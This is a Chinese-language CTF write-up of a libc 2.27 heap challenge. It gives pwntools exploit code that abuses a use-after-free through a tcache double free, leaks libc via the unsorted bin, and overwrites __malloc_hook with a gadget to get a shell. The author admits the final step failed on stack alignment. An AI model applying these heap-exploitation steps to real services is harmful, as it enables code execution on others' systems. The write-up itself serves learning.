这是创建堆块的函数,整个函数实现的功能就是malloc堆块,然后向其中写入东西 ,最后再把此堆块data段的地址给出来。
这是此程序的释放空间的函数,可以很明显的看出来,这里有一个uaf的漏洞。因为是libc2.27,所以可以利用tcache的double free漏洞来做题。
本题分为三步:
创建一个超过0x420的堆块,使其进入unsortedbin。
泄露出libc的地址
malloc_hook攻击,得到shell
#---------------build 0x400--------------
add(0,0x78,'aaaa')
r.recvuntil("gift :")
chunk_1 = int(r.recv()[2:14],16)
print("chunk_1:",hex(chunk_1))
add(1,0x20,'aaaa')
for i in range(2,10):
add(i,0x78,'a')
add(10,0x10,'bbbb')
add(11,0x10,'cccc')
delete(10)
delete(10)
add(12,0x10,p64(chunk_1-0x10))
add(13,0x10,'a')
add(14,0x10,p64(0)+p64(0x4d1))
delete(0)
delete(1)
首先1-6行是得到第一个堆块的地址,为什么要add第二个堆块呢,这是为了泄露libc做准备为什么要add这么多堆块并且最后unsortedbin的size为0x4d1呢,这是为了让其伪造出来的unsortedbin最后尾端也跟着一个堆块,否则free的时候会认为其已经被是free的堆块了。
第二步
#---------leak libc_addr-----------
gdb.attach(r)
pause()
add(15,0x78,'a')
add(16,0x20,'a')
gdb.attach(r)
pause()
add(17,0x20,'a')
#delete(15)
r.recvuntil("gift :")
main_arena = int(r.recv()[2:14],16)-96
malloc_hook_offset = 0x3ebc30
main_arena_offset = 0x3ebc40
malloc_hook = main_arena - main_arena_offset + malloc_hook_offset
print("malloc_hook:",hex(main_arena - main_arena_offset))
add(18,0x30,'a')
add(19,0x30,'b')
我们一定要将之前所说的堆块2设置在伪造的unsortedbin内部,相当于我们先free堆块2,再申请申请一个堆块1大小的堆块,然后他就会从unsortedbin中把堆块1切割下来,然后堆块2正好在tcach中,unsortedbin中main_arena+96也在fd的位置然后,tcache中的堆块2就会指向main_arena+96的地方,最后malloc两次堆块2大小的堆块,就可以输出main_arena的地址,从而得到libc的地址。
第三步
#--------------malloc_hook attack---------------
add(20,0x30,p64(malloc_hook))
add(21,0x30,'aaaa')
#gdb.attach(r)
#pause()
add(23,0x30,p64(gadget))
add(24,0x78,'bbbb')
r.interactive()
就是和第一步伪造一样,在malloc_hook写入gadget。
但是最后没打通,通过调试,发现是进入了system,但是栈没有对齐,但是暂时我现在对堆上的栈对齐不知道如何解决,有大佬知道的话球球告诉我,后面我找到方法也会补齐这道题目。